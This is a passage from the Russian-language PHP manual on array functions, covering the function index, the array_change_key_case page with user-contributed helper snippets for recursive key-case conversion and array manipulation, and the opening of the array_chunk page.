  • array_merge — Сливает один или несколько массивов
  • array_multisort — Сортирует несколько массивов или многомерные массивы
  • array_pad — Дополняет массив значением до заданной длины
  • array_pop — Извлекает последний элемент массива
  • array_product — Вычисляет произведение значений массива
  • array_push — Добавляет один или несколько элементов в конец массива
  • array_rand — Выбирает один или несколько случайных ключей из массива
  • array_reduce — Итеративно уменьшает массив к единственному значению, используя callback-функцию
  • array_replace_recursive — Рекурсивно заменяет элементы первого массива элементами переданных массивов
  • array_replace — Заменяет элементы массива элементами других переданных массивов
  • array_reverse — Возвращает массив с элементами в обратном порядке
  • array_search — Ищет значение в массиве и в случае успешного поиска возвращает ключ первого найденного элемента
  • array_shift — Извлекает первый элемент массива
  • array_slice — Выбирает срез массива
  • array_splice — Удаляет часть массива и заменяет её чем-нибудь ещё
  • array_sum — Вычисляет сумму значений массива
  • array_udiff_assoc — Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_udiff_uassoc — Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_udiff — Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_uintersect_assoc — Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_uintersect_uassoc — Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции
  • array_uintersect — Вычисляет пересечение массивов, используя для сравнения значений callback-функцию
  • array_unique — Убирает повторяющиеся значения из массива
  • array_unshift — Добавляет один или несколько элементов в начало массива
  • array_values — Возвращает все значения массива
  • array_walk_recursive — Рекурсивно применяет пользовательскую функцию к каждому элементу массива
  • array_walk — Применяет заданную пользователем функцию к каждому элементу массива
  • array — Создаёт массив
  • arsort — Сортирует массив в порядке убывания, сохраняя ассоциацию индексов
  • asort — Сортирует массив в порядке возрастания, сохраняя ассоциацию индексов
  • compact — Создаёт массив, содержащий названия переменных и их значения
  • count — Подсчитывает количество элементов в массиве или в объекте Countable
  • current — Возвращает текущий элемент массива
  • each — Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд
  • end — Устанавливает внутренний указатель массива на последний элемент
  • extract — Импортирует переменные массива в текущую таблицу символов
  • in_array — Проверяет, присутствует ли в массиве значение
  • key_exists — Псевдоним array_key_exists
  • key — Получает ключ массива
  • krsort — Сортирует массив по ключу в порядке убывания
  • ksort — Сортирует массив по ключу в порядке возрастания
  • list — Присваивает переменным значения похожим на массивы синтаксисом
  • natcasesort — Сортирует массив алгоритмом естественной сортировки (natural order) без учёта регистра символов
  • natsort — Сортирует массив, для чего использует алгоритм «естественной сортировки»
  • next — Сдвигает внутренний указатель массива на одну позицию вперёд
  • pos — Псевдоним current
  • prev — Сдвигает внутренний указатель массива на одну позицию назад
  • range — Создаёт массив, содержащий диапазон элементов
  • reset — Устанавливает внутренний указатель массива на первый элемент
  • rsort — Сортирует массив в порядке убывания
  • shuffle — Перемешивает массив
  • sizeof — Псевдоним count
  • sort — Сортирует массив по возрастанию
  • uasort — Сортирует массив пользовательской функцией сравнения, сохраняя ассоциацию индексов
  • uksort — Сортирует массив по ключам пользовательской функцией сравнения
  • usort — Сортирует массив по значениям используя пользовательскую функцию для сравнения элементов

User Contributed Notes

info at hotkey404 dot com 02-Nov-2020 08:32
Updated code of 'indioeuropeo' with option to input string-based keys.

INPUT:
array(4) {
  ["a"]=>
  string(5) "Apple"
  ["b"]=>
  string(6) "Banana"
  ["c"]=>
  string(3) "Cat"
  ["d"]=>
  string(3) "Dog"
}

OUTPUT:
array(4) {
  ["a"]=>
  string(5) "Apple"
  ["d"]=>
  string(3) "Dog"
  ["b"]=>
  string(6) "Banana"
  ["c"]=>
  string(3) "Cat"
}

FUNCTION:
<?php
function array_move_elem($array, $from, $to){
// return if non-numeric couldn't be found or from=to
    if(!is_numeric($from)){
        if(array_search($from, array_keys($array))!==FALSE){
            $from = array_search($from, array_keys($array));
        }else{
            return $array;
        }
    }
    $array_numeric_keys = array();
    foreach($array as $k => $v){
        $array_numeric_keys[] = $k;
    }
    if ($from == $to) { return $array; }
    $c = count($array_numeric_keys);
    if (($c > $from) and ($c > $to)) {
        if ($from < $to) {
            $f = $array_numeric_keys[$from];
            for ($i = $from; $i < $to; $i++) {
                $array_numeric_keys[$i] = $array_numeric_keys[$i+1];
            }
            $array_numeric_keys[$to] = $f;
        } else {
            $f = $array_numeric_keys[$from];
            for ($i = $from; $i > $to; $i--) {
                $array_numeric_keys[$i] = $array_numeric_keys[$i-1];
            }
            $array_numeric_keys[$to] = $f;
        }

    }
    $array_new = array();
    foreach($array_numeric_keys as $v){
        $array_new[$v] = $array[$v];
    }
    return $array_new;
}
?>
indioeuropeo at driverop dot com 27-May-2019 02:27
I need to take an element from the Array and change its position within the Array by moving the rest of the elements as required.
This is the function that does it. The first parameter is the working Array. The second is the position of the element to move and the third is the position where to move the element.
The function returns the modified Array.
<?php
function array_move_elem($array, $from, $to) {
    if ($from == $to) { return $array; }
    $c = count($array);
    if (($c > $from) and ($c > $to)) {
        if ($from < $to) {
            $f = $array[$from];
            for ($i = $from; $i < $to; $i++) {
                $array[$i] = $array[$i+1];
            }
            $array[$to] = $f;
        } else {
            $f = $array[$from];
            for ($i = $from; $i > $to; $i--) {
                $array[$i] = $array[$i-1];
            }
            $array[$to] = $f;
        }

    }
    return $array;
}

?>
Examples:
<?php
$array = array('Cero','Uno','Dos','Tres','Cuatro','Cinco','Seis','Siete','Ocho','Nueve','Diez');
$array = array_move_elem($array, 3, 5); // Move element in position 3 to position 5...
print_r($array);

$array = array_move_elem($array, 5, 3); // Move element in position 5 to position 3, leaving array as it was... ;)
print_r($array);

?>
Return:
<?php
Array ( [0] => Cero [1] => Uno [2] => Dos [3] => Cuatro [4] => Cinco [5] => Tres [6] => Seis [7] => Siete [8] => Ocho [9] => Nueve [10] => Diez )
Array ( [0] => Cero [1] => Uno [2] => Dos [3] => Tres [4] => Cuatro [5] => Cinco [6] => Seis [7] => Siete [8] => Ocho [9] => Nueve [10] => Diez )
?>
permanovd at gmail dot com 21-Jun-2018 10:18
A simple trick that can help you to guess what diff/intersect or sort function does by name.

[suffix] assoc - additional index check. Compares both value and index.

Example: array_diff_assoc, array_intersect_assoc.

[suffix] key - index only check. Ignores value of array, compares only indexes.

Example: array_diff_key, array_intersect_key.

[suffix] **empty** - no "key" or "assoc" word in suffix. Compares values only. Ignores indexes of array.

Example: array_diff, array_intersect.

[prefix] u - will do comparison with user defined function. Letter u can be used twice in some functions (like array_udiff_uassoc), this means that you have to use 2 functions (one for value, one for index).

Example: array_udiff_uassoc, array_uintersect_assoc.

This also works with array sort functions:

[prefix] a - associative. Will preserve keys.

Example: arsort, asort.

[prefix] k - key sort. Will sort array by keys.

Example: uksort, ksort.

[prefix] r - reverse. Will sort array in reverse order.

Example: rsort, krsort.

[prefix] u - sort by user defined function (same as for diff/intersect).

Example: usort, uasort.
DamianKaelGreen at gmail dot com 06-May-2017 04:42
While there are a lot of array functions in the PHP libs, there also seem to be a lot of rudimentary ones missing.

I went ahead and created several of my own functions for handling multiple non-associative (na) arrays including:

na_array_merge
na_array_intersect
na_array_diff
na_array_xnor
na_array_xor

If you are using Venn diagrams to think about your arrays, then these functions might be for you.

I have made them available and posted documentation for them here: https://www.greendingle.com/some-useful-non-associative-array-functions/
Ewan 28-Feb-2017 10:49
I was looking for an array aggregation function here and ended up writing this one.

Note: This implementation assumes that none of the fields you're aggregating on contain The '@' symbol.

<?php
  function array_group_by($flds, $arr) {
    $groups = array();
    foreach ($arr as $rec) {
      $keys = array_map(function($f) use($rec) { return $rec[$f]; }, $flds);
      $k = implode('@', $keys);
      if (isset($groups[$k])) {
        $groups[$k][] = $rec;
      } else {
        $groups[$k] = array($rec);
      }
    }
    return $groups;
  }

?>
nicoolasens at gmail dot com 06-Nov-2015 10:15
/*to change an index without rewriting the whole table and leave at the same place.
*/
<?php
function change_index(&$tableau, $old_key, $new_key) {
    $changed = FALSE;
    $temp = 0;
    foreach ($tableau as $key => $value) {
        switch ($changed) {
            case FALSE :
                //creates the new key and deletes the old
                if ($key == $old_key) {
                    $tableau[$new_key] = $tableau[$old_key];
                    unset($tableau[$old_key]);
                    $changed = TRUE;
                }
                break;

            case TRUE :
                //moves following keys
                if ($key != $new_key){
                $temp= $tableau[$key];
                unset($tableau[$key]);
                $tableau[$key] = $temp;
                break;
                }
                else {$changed = FALSE;} //stop
        }
    }
    array_values($tableau); //free_memory
}

//Result :
$tableau = array(1, 2 , 3, 4,5, 6, 7, 8, 9, 10);
$res = print_r($tableau, TRUE);
$longueur = strlen($res) -1;
echo "Old array :\n" . substr($res, 8, $longueur) . "\n" ;

change_index ($tableau, 2, 'number 2');
$res = print_r($tableau, TRUE);
$longueur = strlen($res) -10;
echo "New array :\n" . substr($res, 8, $longueur) . "\n" ;

/*
Old array :
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
)

New array :
    [0] => 1
    [1] => 2
    [numero 2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
*/
?>
kolkabes at googlemail dot com 05-May-2012 12:31
Short function for making a recursive array copy while cloning objects on the way.

<?php
function arrayCopy( array $array ) {
        $result = array();
        foreach( $array as $key => $val ) {
            if( is_array( $val ) ) {
                $result[$key] = arrayCopy( $val );
            } elseif ( is_object( $val ) ) {
                $result[$key] = clone $val;
            } else {
                $result[$key] = $val;
            }
        }
        return $result;
}
?>
dave at davidhbrown dot us 24-Sep-2011 11:57
While PHP has well over three-score array functions, array_rotate is strangely missing as of PHP 5.3. Searching online offered several solutions, but the ones I found have defects such as inefficiently looping through the array or ignoring keys.

The following array_rotate() function uses array_merge and array_shift to reliably rotate an array forwards or backwards, preserving keys. If you know you can trust your $array to be an array and $shift to be between 0 and the length of your array, you can skip the function definition and use just the return expression in your code.

<?php
function array_rotate($array, $shift) {
    if(!is_array($array) || !is_numeric($shift)) {
        if(!is_array($array)) error_log(__FUNCTION__.' expects first argument to be array; '.gettype($array).' received.');
        if(!is_numeric($shift)) error_log(__FUNCTION__.' expects second argument to be numeric; '.gettype($shift)." `$shift` received.");
        return $array;
    }
    $shift %= count($array); //we won't try to shift more than one array length
    if($shift < 0) $shift += count($array);//handle negative shifts as positive
    return array_merge(array_slice($array, $shift, NULL, true), array_slice($array, 0, $shift, true));
}
?>
A few simple tests:
<?php
$array=array("foo"=>1,"bar"=>2,"baz"=>3,4,5);

print_r(array_rotate($array, 2));
print_r(array_rotate($array, -2));
print_r(array_rotate($array, count($array)));
print_r(array_rotate($array, "4"));
print_r(array_rotate($array, -9));
?>
oliverSPAMMENOT at e-geek dot com dot au 22-Mar-2010 07:28
Function to pretty print arrays and objects. Detects object recursion and allows setting a maximum depth. Based on arraytostring and u_print_r from the print_r function notes. Should be called like so:

<?php
egvaluetostring($value)   //no max depth, or
egvaluetostring($value, $max_depth)   //max depth set

function egvaluetostring($value, $max_depth, $key = NULL, $depth = 0, $refChain = array()) {
  if($depth > 0)
    $tab = str_repeat("\t", $depth);
  $text .= $tab . ($key !== NULL ? $key . " => " : "");

  if (is_array($value) || is_object($value)) {
    $recursion = FALSE;
    if (is_object($value)) {
      foreach ($refChain as $refVal) {
        if ($refVal === $value) {
          $recursion = TRUE;
          break;
        }
      }
      array_push($refChain, $value);
    }

    $text .= (is_array($value) ? "array" : "object") . " ( ";

    if ($recursion) {
      $text .= "*RECURSION* ";
    }
    elseif (isset($max_depth) && $depth >= $max_depth) {
      $text .= "*MAX DEPTH REACHED* ";
    }
    else {
      if (!empty($value)) {
        $text .= "\n";
        foreach ($value as $child_key => $child_value) {
          $text .= egvaluetostring($child_value, $max_depth, (is_array($value) ? "[" : "") . $child_key . (is_array($value) ? "]" : ""), $depth+1, $refChain) . ",\n";
        }
        $text .= "\n" . $tab;
      }
    }

    $text .= ")";

    if (is_object($value)) {
      array_pop($refChain);
    }
  }
  else {
    $text .= "$value";
  }

  return $text;
}
?>
renatonascto at gmail dot com 17-Sep-2008 11:11
Big arrays use a lot of memory possibly resulting in memory limit errors. You can reduce memory usage on your script by destroying them as soon as you?re done with them. I was able to get over a few megabytes of memory by simply destroying some variables I didn?t use anymore.
You can view the memory usage/gain by using the funcion memory_get_usage(). Hope this helps!
cyberchrist at futura dot net 15-Oct-2007 06:33
Lately, dealing with databases, I've been finding myself needing to know if one array, $a, is a proper subset of $b.

Mathematically, this is asking (in set theory) [excuse the use of u and n instead of proper Unicode):

( A u B ) n ( ~ B )

What this does is it first limits to known values, then looks for anything outside of B but in the union of A and B (which would be those things in A which are not also in B).

If any value exists in this set, then A is NOT a proper subset of B, because a value exists in A but not in B.  For A to be a proper subset, all values in A must be in B.

I'm sure this could easily be done any number of ways but this seems to work for me.  It's not got a lot of error detection such as sterilizing inputs or checking input types.

// bool array_subset( array, array )
// Returns true if $a is a proper subset of $b, returns false otherwise.

function array_subset( $a, $b )
{
    if( count( array_diff( array_merge($a,$b), $b)) == 0 )
        return true;
    else
        return false;
}
mo dot longman at gmail dot com 30-Jul-2007 11:27
to 2g4wx3:
i think better way for this is using JSON, if you have such module in your PHP. See json.org.

to convert JS array to JSON string: arr.toJSONString();
to convert JSON string to PHP array: json_decode($jsonString);

You can also stringify objects, numbers, etc.
ob at babcom dot biz 28-Aug-2006 04:23
Here is a function to find out the maximum depth of a multidimensional array.

<?php
// return depth of given array
// if Array is a string ArrayDepth() will return 0
// usage: int ArrayDepth(array Array)

function ArrayDepth($Array,$DepthCount=-1,$DepthArray=array()) {
  $DepthCount++;
  if (is_array($Array))
    foreach ($Array as $Key => $Value)
      $DepthArray[]=ArrayDepth($Value,$DepthCount);
  else
    return $DepthCount;
  foreach($DepthArray as $Value)
    $Depth=$Value>$Depth?$Value:$Depth;
  return $Depth;
}
?>


Меняет регистр всех ключей в массиве

  • « Функции для работы с массивами
  • array_chunk »
  • PHP Manual
  • Функции для работы с массивами
  • Меняет регистр всех ключей в массиве

array_change_key_case

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

array_change_key_case — Меняет регистр всех ключей в массиве

Описание

array_change_key_case(array $array, int $case = CASE_LOWER): array

Возвращает массив array, все ключи которого преобразованы в нижний или верхний регистр. Числовые ключи останутся нетронутыми.

Список параметров

array

Обрабатываемый массив

case

Либо CASE_UPPER, либо CASE_LOWER (используется по умолчанию)

Возвращаемые значения

Возвращает массив с ключами, преобразованными в верхний или нижний регистр.

Примеры

Пример #1 Пример использования array_change_key_case()

<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>

Результат выполнения приведённого примера:

Array
(
    [FIRST] => 1
    [SECOND] => 4
)

Примечания

Замечание:

Если массив содержит индексы, которые станут одноимёнными после применения данной функции (например, "keY" и "kEY"), значение последнего одноимённого индекса перекроет другие совпадающие значения из этого массива.

User Contributed Notes

gsoft 09-Aug-2023 09:06
//Array key case change recursively (Unicode):

<?php
function array_key_case($data,$case=FALSE)
{
    $ret=array();
    if ( is_array($data) )
        foreach ($data as $idx => $val)
            $ret[$case ? mb_strtoupper($idx) : mb_strtolower($idx)]=array_key_case($val,$case);
    else
        $ret=$data;
    return $ret;
}
wendri dot net at gmail dot com 12-Oct-2022 04:15
Array of partitions with always the same number of sub-array indexes.

<?php

function partitionFixedSubArray($array, $length, $empty_space)
{
    $result = [];

    if ( sizeof($array) ) {

        $result = array_chunk($array, $length);
        $last_array_count = sizeof(end($result));

        if ($last_array_count < $length) {

            for ($i = $last_array_count; $i < $length; $i++) {
                array_push($result[key($result)], $empty_space);
            }
        }
    }

    return $result;
}

$employees = [
    "Paidi",
    "Paijo",
    "Darno",
    "Kusnan",
    "Mukidi",
    "Sarno",
    "Nurdin",
    "Parmen",
    "Sukinah",
    "Sartini",
    "Sukijan",
    "Yono",
    "Supoyo"
];

echo "<pre>";
print_r(partitionFixedSubArray($employees, 5, "empty space"));
echo "</pre>";

?>

Output:
Array
(
    [0] => Array
        (
            [0] => Paidi
            [1] => Paijo
            [2] => Darno
            [3] => Kusnan
            [4] => Mukidi
        )

    [1] => Array
        (
            [0] => Sarno
            [1] => Nurdin
            [2] => Parmen
            [3] => Sukinah
            [4] => Sartini
        )

    [2] => Array
        (
            [0] => Sukijan
            [1] => Yono
            [2] => Supoyo
            [3] => empty space
            [4] => empty space
        )

)
msegit post pl 08-Jan-2021 07:54
Improved multidimensional unicode func (after qeremy):
<?php
function array_change_key_case_unicode_recurs($arr, $c = CASE_LOWER) {
    foreach ($arr as $k => $v) {
        $ret[mb_convert_case($k, (($c === CASE_LOWER) ? MB_CASE_LOWER : MB_CASE_UPPER), "UTF-8")] = (is_array($v) ? array_change_key_case_unicode_recurs($v, $c) : $v );
    }
    return $ret;
}

$arr = array("FirSt" => 1, "ZazoLc geSla jaZn" => array("yag" => "Oil", "sekER" => "sugar") );
print_r(array_change_key_case($arr, CASE_UPPER));
print_r(array_change_key_case_unicode_recurs($arr, CASE_UPPER));
?>

Array
(
    [FIRST] => 1
    [ZAzoLc GeSLa JAZn] => Array
        (
            [yag] => Oil
            [sekER] => sugar
        )
)
Array
(
    [FIRST] => 1
    [ZAZOLC GESLA JAZN] => Array
        (
            [YAG] => Oil
            [SEKER] => sugar
        )
)
zhangxuejiang 10-Oct-2019 03:30
I improve the array_change_key_case_recursive function ,let it can lowercase or uppercase keys

function array_change_key_case_recursive($arr, $case = CASE_LOWER)
{
    return array_map(function($item) use($case) {
        if(is_array($item))
            $item = array_change_key_case_recursive($item, $case);
        return $item;
    },array_change_key_case($arr, $case));
}
shaman_master at list dot ru 12-Sep-2019 10:10
<?php
/**
 * Convert keys in an array.
 *
 * @param array $array Source data
 * @param callable $callback Function name (strtolower, strtoupper, ucfirst, lcfirst, ucwords)
 * @return array
 */
function array_convert_key_case(array $array, callable $callback = 'strtolower')
{
    return array_combine(
        array_map($callback, array_keys($array)),
        array_values($array)
    );
}
?>
ahmadz 25-Oct-2016 05:49
function convert_to_key_case($data, $case){

        $condition = ($case == 'lowercase')? 'lowercase' : 'uppercase';
        $test = [];
        foreach($data as  $key => $value) {
            if ($condition == 'lowercase') {
                $test[strtolower($key)] = $value;
            } else {
                $test[strtoupper($key)] = $value;
            }
        }
    return $test;
}

$input = ['test1'=>1, 'Test2' => 2, 'TeSt3' => 3];

print_r(convert_to_key_case($input, 'uppercase'));
print_r(convert_to_key_case($input, 'lowercase'));

OUTPUT

Array
(
 [TEST1] => 1
 [TEST2] => 2
 [TEST3] => 3
)

Array (
 [test1] => 1
 [test2] => 2
 [test3] => 3
 )
oulala at yandex dot com 10-Feb-2016 02:12
Recursive LowerCase First Letter in array key

if(!function_exists("mb_lcfirstKeys")) {
    function mb_lcfirstKeys($data) {
        $res = [];
        foreach ($data as $key => $value) {
            $newKey = mb_lcfirst($key);
            $res[$newKey] = is_array($value) ? mb_lcfirstKeys($value) : $value;
        }
        return $res;
    }
}
xsaero00 25-Apr-2014 05:33
Here is the most compact way to lower case keys in a multidimensional array

function array_change_key_case_recursive($arr)
{
    return array_map(function($item){
        if(is_array($item))
            $item = array_change_key_case_recursive($item);
        return $item;
    },array_change_key_case($arr));
}
NetPanther 22-Sep-2012 01:27
Use this to capitalize first letter of all array keys:

<?php

function ucfirstKeys(&$data)
{
  foreach ($data as $key => $value)
  {
    // Convert key
    $newKey = ucfirst($key);

    // Change key if needed
    if ($newKey != $key)
    {
      unset($data[$key]);
      $data[$newKey] = $value;
    }

    // Handle nested arrays
    if (is_array($value))
    {
      ucfirstKeys($data[$key]);
    }
  }
}

$test = array('foo' => 'bar', 'moreFoo' => array('more' => 'foo'));
ucfirstKeys($test);
print_r($test);

?>

Result:
Array ( [MoreFoo] => Array ( [More] => foo ) [Foo] => bar )
qeremy [atta] gmail [dotta] com 28-Feb-2012 05:15
Unicode example;

<?php
function array_change_key_case_unicode($arr, $c = CASE_LOWER) {
    $c = ($c == CASE_LOWER) ? MB_CASE_LOWER : MB_CASE_UPPER;
    foreach ($arr as $k => $v) {
        $ret[mb_convert_case($k, $c, "UTF-8")] = $v;
    }
    return $ret;
}

$arr = array("FirSt" => 1, "yag" => "Oil", "sekER" => "sugar");
print_r(array_change_key_case($arr, CASE_UPPER));
print_r(array_change_key_case_unicode($arr, CASE_UPPER));
?>

Array
(
    [FIRST] => 1
    [YAg] => Oil
    [sEKER] => sugar
)
Array
(
    [FIRST] => 1
    [YAG] => Oil
    [SEKER] => sugar
)
JOE 19-Oct-2011 11:13
Script to change case of sub-arrays keys to lower . It works well for me. hope it helps.

<?php
$array=array("First"=>"val1","SecoNd"=>"val2",
"third"=>array("third-INner1"=>"val3.1"),
"fourth"=>array("FouthINNer1"=>"val4.1","FourthINNER2"=>"val4.2"));
print_r($array);
$key=array_keys($array);
foreach($key as $ki)
{
    $klower=strtolower($ki);
    $val=$array[$ki];
    if(is_array($val))
    {
        foreach($val as $kinner=>$vinner)
        {

            $tl=strtolower($kinner);
            unset($val[$kinner]);
            $val[$tl]=$vinner;
        }
    }
    unset($array[$ki]);
    $array[$klower]=$val;
}
echo "<br> After Changing Key to-LowerCase : <br>";
print_r($array);

?>
Lus Henrique Pessoa 24-Sep-2010 09:03
<?php

// improving the previous script
function ack_r3(&$array, $case=CASE_LOWER, $flag_rec=false)
    {
      $array = array_change_key_case($array, $case);
      if ( $flag_rec ) {
        foreach ($array as $key => $value) {
            if ( is_array($value) ) {
                ack_r3($array[$key], $case, true);
            }
        }
      }
    }

// same of array_change_key_case
$arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,false);
    var_dump($arr);

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    ack_r3($arr, CASE_LOWER,true);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["PHONE"]=>
    string(9) "3010-7148"
    ["E-MAIL"]=>
    string(12) "luis@net.com"
  }
}
array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
Luis Henrique Pessoa 23-Sep-2010 09:25
Script to change case of sub-arrays keys:

<?php

    function arrKey2Lower(&$arrVals) {
        foreach( $arrVals as $key => $item ) {
            $key2 = strtolower($key);
            if ( $key2 != $key) {
                unset($arrVals[$key]);
                $arrVals[$key2]=$item;
                $key=$key2;
            }

            if ( is_array($item) ) { arrKey2Lower($arrValores[$key]); }
        }
    }

    $arr = array('ID' => 1, 'NAME'=> 'Luis', 'Contact' => array('PHONE' => '3010-7148', 'E-MAIL' => 'luis@net.com') );
    arrKey2Lower($arr);
    var_dump($arr);

?>

outputs:

array(3) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(4) "Luis"
  ["contact"]=>
  array(2) {
    ["phone"]=>
    string(9) "3010-7148"
    ["e-mail"]=>
    string(12) "luis@net.com"
  }
}
info at microweb dot lt 29-Nov-2009 02:07
Simple function to change multidimensional array's all values to uppercase. If you would like to change to lowercase then change "mb_strtoupper" to  "mb_strtolower". It works perfect for me ;)

<?php
function change_case_recursive($arr){
    foreach ($arr as $key=>$val){
        if (!is_array($arr[$key])){
            $arr[$key]=mb_strtoupper($arr[$key]);
        }else{
            $arr[$key]=change_case_recursive($arr[$key]);
        }
    }
    return $arr;
}
?>
david at ramaboo dot com 02-Feb-2009 03:22
Same as array_change_key_case only with the values. This should really be part of PHP!

<?php
/**
 * @brief Returns an array with all values lowercased or uppercased.
 * @return array Returns an array with all values lowercased or uppercased.
 * @param object $input The array to work on
 * @param int $case [optional] Either \c CASE_UPPER or \c CASE_LOWER (default).
 */
function array_change_value_case(array $input, $case = CASE_LOWER) {
    switch ($case) {
        case CASE_LOWER:
            return array_map('strtolower', $input);
            break;
        case CASE_UPPER:
            return array_map('strtoupper', $input);
            break;
        default:
            trigger_error('Case is not valid, CASE_LOWER or CASE_UPPER only', E_USER_ERROR);
            return false;
    }
}
?>
charles 12-Jan-2009 11:38
<?php
$input_array = array("FirSt" => 1, "SecOnd" => 4);
print_r(array_change_key_case($input_array, CASE_UPPER));
?>
anon at ymous dot com 02-Dec-2008 03:19
Below is a recursive version of this function.

<?php
    /**
     * A recursive array_change_key_case function.
     * @param array $input
     * @param integer $case
     */
    function array_change_key_case_recursive($input, $case = null){
        if(!is_array($input)){
            trigger_error("Invalid input array '{$array}'",E_USER_NOTICE); exit;
        }
        // CASE_UPPER|CASE_LOWER
        if(null === $case){
            $case = CASE_LOWER;
        }
        if(!in_array($case, array(CASE_UPPER, CASE_LOWER))){
            trigger_error("Case parameter '{$case}' is invalid.", E_USER_NOTICE); exit;
        }
        $input = array_change_key_case($input, $case);
        foreach($input as $key=>$array){
            if(is_array($array)){
                $input[$key] = array_change_key_case_recursive($array, $case);
            }
        }
        return $input;
    }
?>
andreas dot schuhmacher87 at googlemail dot com 14-Apr-2008 06:01
multibyte and multi-dimensional-array support, have fun!

<?php
    define('ARRAY_KEY_FC_LOWERCASE', 25); //FOO => fOO
    define('ARRAY_KEY_FC_UPPERCASE', 20); //foo => Foo
    define('ARRAY_KEY_UPPERCASE', 15); //foo => FOO
    define('ARRAY_KEY_LOWERCASE', 10); //FOO => foo
    define('ARRAY_KEY_USE_MULTIBYTE', true); //use mutlibyte functions

    /**
    * change the case of array-keys
    *
    * use: array_change_key_case_ext(array('foo' => 1, 'bar' => 2), ARRAY_KEY_UPPERCASE);
    * result: array('FOO' => 1, 'BAR' => 2)
    *
    * @param    array
    * @param    int
    * @return     array
    */
    function array_change_key_case_ext(array $array, $case = 10, $useMB = false, $mbEnc = 'UTF-8') {
        $newArray = array();

        //for more speed define the runtime created functions in the global namespace

        //get function
        if($useMB === false) {
            $function = 'strToUpper'; //default
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    //maybee lcfirst is not callable
                    if(!function_exists('lcfirst'))
                        $function = create_function('$input', '
                            return strToLower($input[0]) . substr($input, 1, (strLen($input) - 1));
                        ');
                    else $function = 'lcfirst';
                    break;

                //first-char-to-uppercase
                case 20:
                    $function = 'ucfirst';
                    break;

                //lowercase
                case 10:
                    $function = 'strToLower';
            }
        } else {
            //create functions for multibyte support
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    $function = create_function('$input', '
                        return mb_strToLower(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //first-char-to-uppercase
                case 20:
                    $function = create_function('$input', '
                        return mb_strToUpper(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //uppercase
                case 15:
                    $function = create_function('$input', '
                        return mb_strToUpper($input, \'' . $mbEnc . '\');
                    ');
                    break;

                //lowercase
                default: //case 10:
                    $function = create_function('$input', '
                        return mb_strToLower($input, \'' . $mbEnc . '\');
                    ');
            }
        }

        //loop array
        foreach($array as $key => $value) {
            if(is_array($value)) //$value is an array, handle keys too
                $newArray[$function($key)] = array_change_key_case_ex($value, $case, $useMB);
            elseif(is_string($key))
                $newArray[$function($key)] = $value;
            else $newArray[$key] = $value; //$key is not a string
        } //end loop

        return $newArray;
    }
?>
john at doe dot com 26-Sep-2007 12:04
<?php
function array_change_value_case($input, $case = CASE_LOWER)
{
    $aRet = array();

    if (!is_array($input))
    {
        return $aRet;
    }

    foreach ($input as $key => $value)
    {
        if (is_array($value))
        {
            $aRet[$key] = array_change_value_case($value, $case);
            continue;
        }

        $aRet[$key] = ($case == CASE_UPPER ? strtoupper($value) : strtolower($value));
    }

    return $aRet;
}
?>
cm at gameswelt dot de 10-Aug-2007 04:11
I just changed the code a little bit so you havent got a code that repeats itself.

<?php

function array_change_key_case_secure($array = array(), $case = CASE_UPPER){
    $secure = array();
    $functionWrap = array(CASE_UPPER => 'strtoupper',
                            CASE_LOWER => 'strtolower');

    foreach($array as $key => $val){
        if(isset($functionWrap[$key])){
            $key = $functionWrap[$case]($key);
            $secure[$key][] = $val;
        } else {
            die('Not a known Type');
        }
    }

    foreach($secure as $key => $val){
        if(count($secure[$key]) == 1){
            $secure[$key] = $val[0];
        }
    }

    return $secure;
}

$myArray = array('A' => 'Hello',
                    'B' => 'World',
                    'a' => 'how are you?');

print_r($myArray);
$myArray = array_change_key_case_secure($myArray);
print_r($myArray);

/*
Array
(
    [A] => Hello
    [B] => World
    [a] => how are you?
)
Array
(
    [A] => Array
        (
            [0] => Hello
            [1] => how are you?
        )

    [B] => World
)
*/


Разбивает массив на части

  • « array_change_key_case
  • array_column »
  • PHP Manual
  • Функции для работы с массивами
  • Разбивает массив на части

array_chunk

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

array_chunk — Разбивает массив на части

Описание

array_chunk(array $array, int $length, bool $preserve_keys = false): array

Разбивает массив на массивы с заданным в параметре length количеством элементов. Количество элементов в последней части будет равняться или окажется меньше заданной длины (length).

Список параметров

array

Массив, который нужно разбить.

length

Размер каждой части.

preserve_keys

Если установлено значение true, ключи оригинального массива будут сохранены. По умолчанию — false, что переиндексирует части числовыми ключами.

Возвращаемые значения

